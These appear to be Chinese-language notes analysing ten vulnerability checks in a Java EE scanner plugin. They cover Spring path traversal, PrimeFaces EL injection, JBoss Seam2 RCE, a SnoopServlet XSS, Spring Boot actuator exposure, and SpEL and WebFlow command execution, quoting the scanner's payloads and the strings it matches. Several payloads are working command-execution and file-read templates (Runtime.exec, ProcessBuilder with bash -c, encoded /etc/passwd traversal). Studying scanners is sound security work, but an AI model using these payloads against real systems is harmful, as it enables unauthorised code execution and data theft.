分析

【51】PivotalSpringTraversal CVE-2014-3625

路径

private static final List<String> staticURLFolders = Arrays.asList("/resources/","/files/","/upload/","/static/","/content/","/html/","/deploy/");

先判断真实的路径中有没有上述的path

        for (String staticResourceFolder : staticURLFolders) {if (currentPath.contains(staticResourceFolder)) {

然后将原始的HTTP做一个替换

                String mutatedHTTPRequest = mutator(HTTPRequest, staticResourceFolder, staticResourceFolder + INJ);

替换的payload是

    private static final String INJ = "file:/etc/passwd";

mutator函数就是一个找正则然后replace

    private String mutator(String httpRequest, String staticResourceFolder, String payload) {return httpRequest.replaceFirst(staticResourceFolder + ".* ", payload + " ");}

【52】PrimeFacesELInjection - CVE-2017-1000486

payload

        PAYLOADS.add("/javax.faces.resource/j2eescan.xhtml?pfdrt=sc&ln=primefaces&pfdrid=" + PrimeFacesELInjection.INJ_TEST);PAYLOADS.add("/javax.faces.resource/j2eescan.jsf?pfdrt=sc&ln=primefaces&pfdrid=" + PrimeFacesELInjection.INJ_TEST);private static final String INJ_TEST = "uMKljPgnOTVxmOB%2bH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVYjEh7SE3F4WmfKUle6apy2QGwABuVlzurPsgFxYP0G3b1dDqmgmxMw%3d%3d";

match返回包则存在漏洞

   if (header.contains("J2EESCANPRIME")) {

这是个RCE
关键是这个pfdrid参数，是EL表达式的加密结果。
这里payload是加密下面的表达式，所以判断返回包是看headers

"${facesContext.getExternalContext().setResponseHeader(\\\"J2EESCANPRIME\\\",\\\"primefaces\\\")}"

默认密码是

Default = primefaces

利用工具看这个

【53】RESTAPISwagger

REST API Swagger 的相关问题
相关路径

    private static final List<String> SWAGGER_APIS = Arrays.asList("/swagger-ui.html","/swagger/swagger-ui.html","/api/swagger-ui.html","/swagger/index.html","/%20/swagger-ui.html");

这个我们见得比较多了，这里面能拿到服务端的一些API构造。
match

 private static final byte[] GREP_STRING = "<title>Swagge".getBytes();

【54】Seam2RCE（Jboss） - CVE-2010-1871

JBoss seam2的模板注入
payload

 byte[] rawSimpleRequestSeam = helpers.addParameter(rawRequest,helpers.buildParameter("actionOutcome","/pwd.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('hostname')}", IParameter.PARAM_URL));

match的是hostname?

    private static final byte[] GREP_STRING_L = "java.lang.UNIXProcess".getBytes();private static final byte[] GREP_STRING_W = "java.lang.ProcessImpl".getBytes();

上面的payload是直接反射取
下面这个是遍历取，有一点绕过的感觉，

        byte[] rawRequestSeam = helpers.addParameter(rawRequest,helpers.buildParameter("actionOutcome","/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[" + i + "].invoke(expressions.getClass().forName('java.lang.Runtime')).exec('hostname')}}", IParameter.PARAM_URL));

match一样

【55】 SnoopResource

看着像是GET请求的XSS
PATH

    private static final List<String> SNOOP_PATHS = Arrays.asList("/snoop.jsp?" + XSS_PAYLOAD,"/examples/jsp/snp/snoop.jsp?" + XSS_PAYLOAD,"/examples/servlet/SnoopServlet?" + XSS_PAYLOAD,"/servlet/SnoopServlet?" + XSS_PAYLOAD,"/j2ee/servlet/SnoopServlet?" + XSS_PAYLOAD,"/jsp-examples/snp/snoop.jsp?" + XSS_PAYLOAD);

payload用的h1标签

    private static final String XSS_PAYLOAD = "<h1>j2eescan"; 

有意思的是
match如果是

    private static final byte[] GREP_STRING = "Path translated".getBytes();

则是低危
如果是

<h1>j2eescan"; 

就是中危

【56】SpringBootActuator

遍历Path

    private static final List<String> SPRINGBOOT_ACTUATOR_PATHS = Arrays.asList("/health","/manager/health","/actuator","/actuator/jolokia/list","/jolokia/list","/env");

match这几个

        private static final List<byte[]> GREP_STRINGS = Arrays.asList("{\"status\":\"UP\"}".getBytes(),"{\"_links\":".getBytes(),"org.spring".getBytes(),"java.vendor".getBytes());

SpringBoot 的内存泄露吧，之前因为这个页面泄露了大量用户token能直接接管用户账号，所以也并不是他描述的low，需要实际去看。

【57】SpringBootRestRCE cve-2017-8046

首先POST换成PATCH（这里GET还不行？）

            headers.set(0, firstHeader.replaceFirst("POST ", "PATCH "));

换个contenttype和accept

            List<String> headersWithContentTypePatch = HTTPParser.addOrUpdateHeader(headers, "Content-type", "application/json-patch+json");List<String> headersWithContentTypePatchAndAccept = HTTPParser.addOrUpdateHeader(headersWithContentTypePatch, "Accept", "*/*");

发送payload

            String finalPayload = "[{ \"op\" : \"replace\", \"path\" : \"T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(" + payload + ").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x\", \"value\" : \"j2eescan\" }]";

无回显的话payload可以用ping dns来match

【58】SpringCloudConfigPathTraversal cve-2020-5410

2020年的洞
Spring Cloud Config的目录穿越，比较好构造
payload

    private static final List<String> SPRINGCLOUD_TRAVERSALS = Arrays.asList("/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23");

match passwod就行

【59】 SpringDataCommonRCE cve-2018-1273

=MzU0NzYzMzU0Mw==&mid=2247483666&idx=1&sn=91e3b2aab354c55e0677895c02fb068c

这是个spel表达式注入漏洞
补丁大致就是将StandardEvaluationContext替代为SimpleEvaluationContext，由于StandardEvaluationContext权限过大，可以执行任意代码，会被恶意用户利用。
SimpleEvaluationContext的权限则小的多，只支持一些map结构，通用的jang.lang.Runtime,java.lang.ProcessBuilder都已经不再支持，详情可查看SimpleEvaluationContext的实现。

payload

        String injection = "[#this.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"%s\")]=";

替换的方式是

        String updatedBody = requestBody.replace("=", finalPayload);

【60】SpringWebFlowDataBindExpression CVE-2017-4971

Spring WebFlow 2.4.0 - 2.4.4
payload一把梭

        String injection = "_(new java.lang.ProcessBuilder(\"bash\",\"-c\",\"ping -c 3 %s\")).start()";

触发位置是提交表单。
